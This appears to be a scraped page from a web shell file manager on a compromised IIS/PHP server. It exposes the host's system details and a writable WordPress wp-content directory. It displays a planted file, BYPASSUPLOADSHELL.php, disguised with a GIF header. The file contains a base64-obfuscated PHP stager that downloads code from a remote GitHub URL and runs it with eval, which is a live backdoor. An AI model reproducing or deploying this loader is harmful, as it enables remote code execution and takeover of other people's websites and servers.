GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/BYPASSUPLOADSHELL.php
<?=eval("?>".base64_decode("PD9waHAgCiRsaW5rID0gJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9kYXNpc3FvL2NtZC9tYWluL2F6dXNhMi50eHQnOwokY2ggPSBjdXJsX2luaXQoKTsgCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsaW5rKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgCiRvdXRwdXQgPSBjdXJsX2V4ZWMoJGNoKTsgCmN1cmxfY2xvc2UoJGNoKTsgICAgICAKZXZhbCAoJz8+Jy4kb3V0cHV0KTsKPz4="));?>

Anon7 - 2021